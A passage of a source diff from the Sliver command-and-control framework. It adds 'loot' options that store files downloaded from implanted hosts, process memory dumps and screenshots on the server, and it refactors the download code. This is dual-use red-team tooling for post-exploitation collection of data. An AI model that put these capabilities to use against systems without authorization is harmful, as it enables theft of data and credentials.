+		HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 	}
 }
 
-// PrintSpawnDll - Print the SpawnDll command response
-func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+
 	if spawndll.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}
 
-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	con.PrintInfof("Output:\n%s", spawndll.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(spawndll.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }

client/command/filesystem/cat.go

@@ -19,19 +19,17 @@ package filesystem
 */
 
 import (
-	"context"
 	"encoding/hex"
 	"fmt"
 	"os"
+	"path/filepath"
 
 	"github.com/alecthomas/chroma/formatters"
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/util/encoders"
-	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
@@ -49,43 +47,42 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    filePath,
-	})
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+	userLootType := ctx.Flags.String("type")
+	userLootFileType := ctx.Flags.String("file-type")
+	var lootDownload bool = true
+
+	download, err := PerformDownload(filePath, filepath.Base(filePath), "console", ctx, con)
+
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	if download.Response != nil && download.Response.Async {
-		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, download)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintCat(download, ctx, con)
-		})
-		con.PrintAsyncResponse(download.Response)
-	} else {
-		PrintCat(download, ctx, con)
+
+	if saveLoot {
+		lootType, err := loot.ValidateLootType(userLootType)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			// Even if the loot type is bad, we can still print the result to the screen
+			// We will not loot it though
+			lootDownload = false
+		}
+		fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
+
+		if lootDownload {
+			loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
+			con.Printf("\n")
+		}
 	}
+
+	PrintCat(download, ctx, con)
 }
 
 // PrintCat - Print the download to stdout
 func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var err error
-	if download.Response != nil && download.Response.Err != "" {
-		con.PrintErrorf("%s\n", download.Response.Err)
-		return
-	}
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
+
 	if ctx.Flags.Bool("colorize-output") {
 		if err = colorize(download); err != nil {
 			con.Println(string(download.Data))

client/command/filesystem/download.go

@@ -24,8 +24,10 @@ import (
 	"os"
 	"path"
 	"path/filepath"
+	"strings"
 
 	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -35,6 +37,42 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+func PerformDownload(remotePath string, fileName string, destination string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, destination), ctrl)
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+			}
+		})
+		con.PrintAsyncResponse(download.Response)
+	}
+
+	if download.Response != nil && download.Response.Err != "" {
+		return download, fmt.Errorf("%s\n", download.Response.Err)
+	}
+
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			return nil, fmt.Errorf("Decoding failed %s", err)
+		}
+	}
+
+	return download, nil
+}
+
 // DownloadCmd - Download a file from the remote system
 func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
@@ -47,38 +85,50 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	src := remotePath
 	fileName := filepath.Base(src)
-	dst, _ := filepath.Abs(localPath)
-	fi, err := os.Stat(dst)
-	if err != nil && !os.IsNotExist(err) {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if err == nil && fi.IsDir() {
-		dst = path.Join(dst, fileName)
+	var dst string
+	var err error
+	var lootType clientpb.LootType
+	var fileType clientpb.FileType
+	var lootName string = ""
+
+	if ctx.Flags.Bool("loot") {
+		// The destination is the loot store.
+		dst = "loot"
+		lootName = ctx.Flags.String("name")
+
+		lootType, err = loot.ValidateLootType(ctx.Flags.String("type"))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		// Determine file type after the download is complete
+	} else {
+		// If this download is not being looted, make sure the local path exists
+		dst, err = filepath.Abs(localPath)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		fi, err := os.Stat(dst)
+		if err != nil && !os.IsNotExist(err) {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if err == nil && fi.IsDir() {
+			dst = path.Join(dst, fileName)
+		}
 	}
 
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
-	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    remotePath,
-	})
-	ctrl <- true
-	<-ctrl
+	download, err := PerformDownload(src, fileName, dst, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	if download.Response != nil && download.Response.Async {
-		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, download)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintDownload(download, ctx, con)
-		})
-		con.PrintAsyncResponse(download.Response)
+
+	if dst == "loot" {
+		// Hand off to the loot package to take care of looting
+		fileType = loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
 	} else {
 		PrintDownload(download, ctx, con)
 	}
@@ -96,7 +146,12 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
 
 	src := remotePath
 	fileName := filepath.Base(src)
-	dst, _ := filepath.Abs(localPath)
+	dst, err := filepath.Abs(localPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
 	fi, err := os.Stat(dst)
 	if err != nil && !os.IsNotExist(err) {
 		con.PrintErrorf("%s\n", err)
@@ -105,6 +160,12 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
 	if err == nil && fi.IsDir() {
 		dst = path.Join(dst, fileName)
 	}
+
+	// Add an extension to a directory download if one is not provided.
+	if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
+		dst += ".tar.gz"
+	}
+
 	if _, err := os.Stat(dst); err == nil {
 		overwrite := false
 		prompt := &survey.Confirm{Message: "Overwrite local file?"}
@@ -113,13 +174,7 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
 			return
 		}
 	}
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			con.PrintErrorf("Decoding failed %s", err)
-			return
-		}
-	}
+
 	dstFile, err := os.Create(dst)
 	if err != nil {
 		con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)

client/command/generate/generate-stager.go

@@ -5,8 +5,6 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net"
-	"os"
-	"path/filepath"
 	"regexp"
 	"strings"
 
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	if save != "" || format == "raw" {
-		saveTo, _ := filepath.Abs(save)
-		fi, err := os.Stat(saveTo)
+		saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
 		if err != nil {
-			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
 			return
 		}
-		if fi.IsDir() {
-			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
-		}
+
 		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)

client/command/generate/generate.go

@@ -305,6 +305,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
 	}
 
+	// TODO: Use generics or something to check in a slice
+	connectionStrategy := ctx.Flags.String("strategy")
+	if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
+		con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
+		return nil
+	}
+
 	config := &clientpb.ImplantConfig{
 		GOOS:             targetOS,
 		GOARCH:           targetArch,
@@ -319,6 +326,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
 		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),
 
+		ConnectionStrategy:  connectionStrategy,
 		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
 		PollTimeout:         int64(pollTimeout) * int64(time.Second),
 		MaxConnectionErrors: uint32(maxConnectionErrors),

client/command/info/info.go

@@ -19,10 +19,14 @@ package info
 */
 
 import (
+	"context"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if session == nil && beacon == nil {
 		return
 	}
+
+	var isWin bool
+	con.Printf("Logon ID: ")
 	if session != nil {
 		con.Printf("%s\n", session.Username)
+		if session.GetOS() == "windows" {
+			isWin = true
+		}
 	} else if beacon != nil {
 		con.Printf("%s\n", beacon.Username)
+		if beacon.GetOS() == "windows" {
+			isWin = true
+		}
+	}
+
+	if isWin {
+		cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if cto.Response != nil && cto.Response.Async {
+			con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, cto)
+				if err != nil {
+					con.PrintErrorf("Failed to decode response %s\n", err)
+					return
+				}
+				PrintTokenOwner(cto, con)
+			})
+			con.PrintAsyncResponse(cto.Response)
+		} else {
+			PrintTokenOwner(cto, con)
+		}
 	}
 }
+
+func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
+	if cto.Response != nil && cto.Response.Err != "" {
+		con.PrintErrorf("%s\n", cto.Response.Err)
+		return
+	}
+	con.PrintInfof("Current Token ID: %s", cto.Output)
+}

client/command/jobs/dns.go

@@ -31,9 +31,9 @@ import (
 func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	domains := strings.Split(ctx.Flags.String("domains"), ",")
-	for _, domain := range domains {
+	for index, domain := range domains {
 		if !strings.HasSuffix(domain, ".") {
-			domain += "."
+			domains[index] += "."
 		}
 	}
 
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Port:       uint32(lport),
 		Canaries:   !ctx.Flags.Bool("no-canaries"),
 		Persistent: ctx.Flags.Bool("persistent"),
+		EnforceOTP: !ctx.Flags.Bool("disable-otp"),
 	})
 	con.Println()
 	if err != nil {

client/command/loot/helpers.go

@@ -176,7 +176,11 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
 	buf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+		if loot.Name == loot.File.Name {
+			fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
+		}
 	}
 	table.Flush()
 	options := strings.Split(buf.String(), "\n")

client/command/loot/loot.go

@@ -159,14 +159,15 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
 
 	// Column Headers
-	fmt.Fprintln(table, "Type\tName\tUUID\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+	fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
 		strings.Repeat("=", len("Type")),
 		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("File Name")),
 		strings.Repeat("=", len("UUID")),
 	)
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
 	}
 
 	table.Flush()
@@ -401,7 +402,7 @@ func isText(sample []byte) bool {
 			// last char may be incomplete - ignore
 			break
 		}
-		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
+		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
 			// decoding error or control character - not a text file
 			return false
 		}

client/command/loot/remote.go

@@ -19,9 +19,14 @@ package loot
 */
 
 import (
+	"archive/tar"
+	"bytes"
+	"compress/gzip"
 	"context"
 	"fmt"
-	"path"
+	"io"
+	"path/filepath"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
+func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
+	var lootType clientpb.LootType
+	var err error
+
+	if lootTypeInput != "" {
+		lootType, err = lootTypeFromHumanStr(lootTypeInput)
+		if err != nil {
+			/*
+				If we get an error, that means that this loot type was invalid.
+				We will leave it up to the caller to handle the error (output it
+				to the console for example)
+			*/
+			return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
+		}
+	} else {
+		lootType = clientpb.LootType_LOOT_FILE
+	}
+
+	return lootType, err
+}
+
+func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
+	lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
+	if lootFileType == -1 || err != nil {
+		if isText(data) {
+			lootFileType = clientpb.FileType_TEXT
+		} else {
+			lootFileType = clientpb.FileType_BINARY
+		}
+	}
+
+	return lootFileType
+}
+
+/*
+	Eventually this function needs to be refactored out, but we made the decision to
+	duplicate it for now
+*/
+func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+			}
+		})
+		con.PrintAsyncResponse(download.Response)
+	}
+
+	if download.Response != nil && download.Response.Err != "" {
+		return nil, fmt.Errorf("%s\n", download.Response.Err)
+	}
+
+	// Decode the downloaded data if required
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			return nil, fmt.Errorf("Decoding failed %s", err)
+		}
+	}
+
+	return download, nil
+}
+
+func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
+	if lootName == "" {
+		lootName = fileName
+	}
+
+	lootMessage := &clientpb.Loot{
+		Name:     lootName,
+		Type:     lootType,
+		FileType: lootFileType,
+		File: &commonpb.File{
+			Name: fileName,
+			Data: data,
+		},
+	}
+
+	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
+		lootMessage.CredentialType = clientpb.CredentialType_FILE
+	}
+
+	return lootMessage
+}
+
+func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
+	control := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
+
+	loot, err := con.Rpc.LootAdd(context.Background(), loot)
+	control <- true
+	<-control
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	}
+
+	if loot.Name != loot.File.Name {
+		con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
+	} else {
+		con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
+	}
+
+	return
+}
+
+func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Was the download successful?
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+
+	/*  Construct everything needed to send the loot to the server
+	If this is a directory, we will process each file individually
+	*/
+
+	// Let's handle the simple case of a file first
+	if !download.IsDir {
+		// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
+		downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
+		lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
+		SendLootMessage(lootMessage, con)
+	} else {
+		// We have to decompress the gzip file first
+		decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
+
+		if err != nil {
+			con.PrintErrorf("Could not decompress downloaded data: %s", err)
+			return
+		}
+
+		/*
+			Directories are stored as tar-ed gzip archives.
+			We have gotten rid of the gzip part, now we have to sort out the tar
+		*/
+		tarReader := tar.NewReader(decompressedDownload)
+
+		// Keep reading until we reach the end
+		for {
+			entryHeader, err := tarReader.Next()
+			if err == io.EOF {
+				// We have reached the end of the tar archive
+				break
+			}
+
+			if err != nil {
+				// Something is wrong with this archive. Stop reading.
+				break
+			}
+
+			if entryHeader == nil {
+				/*
+					If the entry is nil, skip it (not sure when this would happen,
+						but we do not want to attempt operations on something that is nil)
+				*/
+				continue
+			}
+
+			if entryHeader.Typeflag == tar.TypeDir {
+				// Keep going to dig into the directory
+				continue
+			}
+			// The implant should have only shipped us files (the implant resolves symlinks)
+
+			// Create a loot message for this file and ship it
+			/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
+			be the end of the file
+			*/
+			fileData, err := io.ReadAll(tarReader)
+			if err == nil {
+				lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
+				SendLootMessage(lootMessage, con)
+			}
+		}
+	}
+}
+
 // LootAddRemoteCmd - Add a file from the remote system to the server as loot
 func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	remotePath := ctx.Args.String("path")
+	fileName := filepath.Base(remotePath)
 	name := ctx.Flags.String("name")
-	if name == "" {
-		name = path.Base(remotePath)
-	}
 
-	var lootType clientpb.LootType
-	var err error
-	lootTypeStr := ctx.Flags.String("type")
-	if lootTypeStr != "" {
-		lootType, err = lootTypeFromHumanStr(lootTypeStr)
-		if err == ErrInvalidLootType {
-			con.PrintErrorf("Invalid loot type %s", lootTypeStr)
-			return
-		}
-	} else {
-		lootType = clientpb.LootType_LOOT_FILE
-	}
-
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
-
-	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    remotePath,
-	})
-	if err != nil {
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err) // Download failed
-			return
-		}
-	}
-
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			con.PrintErrorf("Decoding failed %s", err)
-			return
-		}
-	}
-
-	// Determine type based on download buffer
-	lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
-	if lootFileType == -1 || err != nil {
-		if isText(download.Data) {
-			lootFileType = clientpb.FileType_TEXT
-		} else {
-			lootFileType = clientpb.FileType_BINARY
-		}
-	}
-	loot := &clientpb.Loot{
-		Name:     name,
-		Type:     lootType,
-		FileType: lootFileType,
-		File: &commonpb.File{
-			Name: path.Base(remotePath),
-			Data: download.Data,
-		},
-	}
-	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
-		loot.CredentialType = clientpb.CredentialType_FILE
-	}
-
-	loot, err = con.Rpc.LootAdd(context.Background(), loot)
-	ctrl <- true
-	<-ctrl
+	lootType, err := ValidateLootType(ctx.Flags.String("type"))
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
-	con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
+	download, err := PerformDownload(remotePath, fileName, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// Determine type based on download buffer
+	lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+	LootDownload(download, name, lootType, lootFileType, ctx, con)
 }

client/command/prelude-operator/connect.go

@@ -53,9 +53,11 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if len(sessions.Sessions) > 0 {
 			con.PrintInfof("Adding existing sessions ...\n")
 			for _, session := range sessions.Sessions {
-				err = implantMapper.AddImplant(session, nil)
-				if err != nil {
-					con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
+				if !session.IsDead {
+					err = implantMapper.AddImplant(session, nil)
+					if err != nil {
+						con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
+					}
 				}
 			}
 			con.PrintInfof("Done !\n")

client/command/processes/procdump.go

@@ -24,7 +24,9 @@ import (
 	"io/ioutil"
 	"os"
 	"path/filepath"
+	"time"
 
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	pid := ctx.Flags.Int("pid")
 	name := ctx.Flags.String("name")
 	saveTo := ctx.Flags.String("save")
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("loot-name")
 
 	if pid == -1 && name != "" {
 		pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintProcessDump(dump, saveTo, hostname, pid, con)
+			if saveLoot {
+				LootProcessDump(dump, lootName, hostname, pid, con)
+			}
+
+			if !saveLoot || saveTo != "" {
+				PrintProcessDump(dump, saveTo, hostname, pid, con)
+			}
 		})
 		con.PrintAsyncResponse(dump.Response)
 	} else {
-		PrintProcessDump(dump, saveTo, hostname, pid, con)
+		if saveLoot {
+			LootProcessDump(dump, lootName, hostname, pid, con)
+		}
+
+		if !saveLoot || saveTo != "" {
+			PrintProcessDump(dump, saveTo, hostname, pid, con)
+		}
 	}
 
 }
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
 	}
 	return ""
 }
+
+func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
+	timeNow := time.Now().UTC()
+	dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
+
+	if lootName == "" {
+		lootName = dumpFileName
+	}
+
+	lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
+	loot.SendLootMessage(lootMessage, con)
+}

client/command/screenshot/screenshot.go

@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+	saveTo := ctx.Flags.String("save")
+
 	hostname := getHostname(session, beacon)
 	if screenshot.Response != nil && screenshot.Response.Async {
 		con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintScreenshot(screenshot, hostname, ctx, con)
+			if saveLoot {
+				if len(screenshot.Data) > 0 {
+					LootScreenshot(screenshot, lootName, hostname, con)
+				} else {
+					con.PrintErrorf("Cannot loot screenshot because it contained no data")
+				}
+			}
+
+			if !saveLoot || saveTo != "" {
+				PrintScreenshot(screenshot, hostname, ctx, con)
+			}
 		})
 		con.PrintAsyncResponse(screenshot.Response)
 	} else {
-		PrintScreenshot(screenshot, hostname, ctx, con)
+		if saveLoot {
+			if len(screenshot.Data) > 0 {
+				LootScreenshot(screenshot, lootName, hostname, con)
+			} else {
+				con.PrintErrorf("Cannot loot screenshot because it contained no data")
+			}
+		}
+
+		if !saveLoot || saveTo != "" {
+			PrintScreenshot(screenshot, hostname, ctx, con)
+		}
 	}
 }
 
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 	}
 
 	con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
-	if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
-		err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
